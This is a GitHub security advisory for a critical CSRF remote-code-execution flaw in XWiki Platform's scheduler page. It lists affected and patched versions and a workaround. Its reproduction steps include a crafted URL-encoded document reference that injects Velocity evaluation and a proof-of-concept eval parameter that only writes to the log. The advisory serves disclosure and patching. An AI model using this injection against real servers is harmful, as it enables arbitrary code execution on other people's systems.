XWiki Platform CSRF remote code execution through scheduler job's document reference
Critical severity
GitHub Reviewed
Published
Apr 10, 2024
in
xwiki/xwiki-platform
•
Updated Apr 10, 2024
Package
Affected versions
>= 3.1, < 14.10.19
>= 15.0-rc-1, < 15.5.4
>= 15.6-rc-1, < 15.9
Patched versions
14.10.19
15.5.4
15.9
Description
Published to the GitHub Advisory Database
Apr 10, 2024
Reviewed
Apr 10, 2024
Published by the National Vulnerability Database
Apr 10, 2024
Last updated
Apr 10, 2024
Impact
By creating a document with a special crafted documented reference and an
XWiki.SchedulerJobClassXObject, it is possible to execute arbitrary code on the server whenever an admin visits the scheduler page or the scheduler page is referenced, e.g., via an image in a comment on a page in the wiki.To reproduce on an XWiki installation, click on this link to create a new document :
<xwiki-host>/xwiki/bin/view/%22%3E%5D%5D%7B%7B%2Fhtml%7D%7D%7B%7Basync%20context%3D%22request/parameters%22%7D%7D%7B%7Bvelocity%7D%7D%23evaluate%28%24request/eval%29/.Then, add to this document an object of type
XWiki.SchedulerJobClass.Finally, as an admin, go to
<xwiki-host>/xwiki/bin/view/Scheduler/?eval=$services.logging.getLogger(%22attacker%22).error(%22Hello%20from%20URL%20Parameter!%20I%20got%20programming:%20$services.security.authorization.hasAccess(%27programming%27)%22).If the logs contain
ERROR attacker - Hello from URL Parameter! I got programming: true, the installation is vulnerable.Patches
The vulnerability has been fixed on XWiki 14.10.19, 15.5.5, and 15.9.
Workarounds
Modify the Scheduler.WebHome page following this patch.
References
References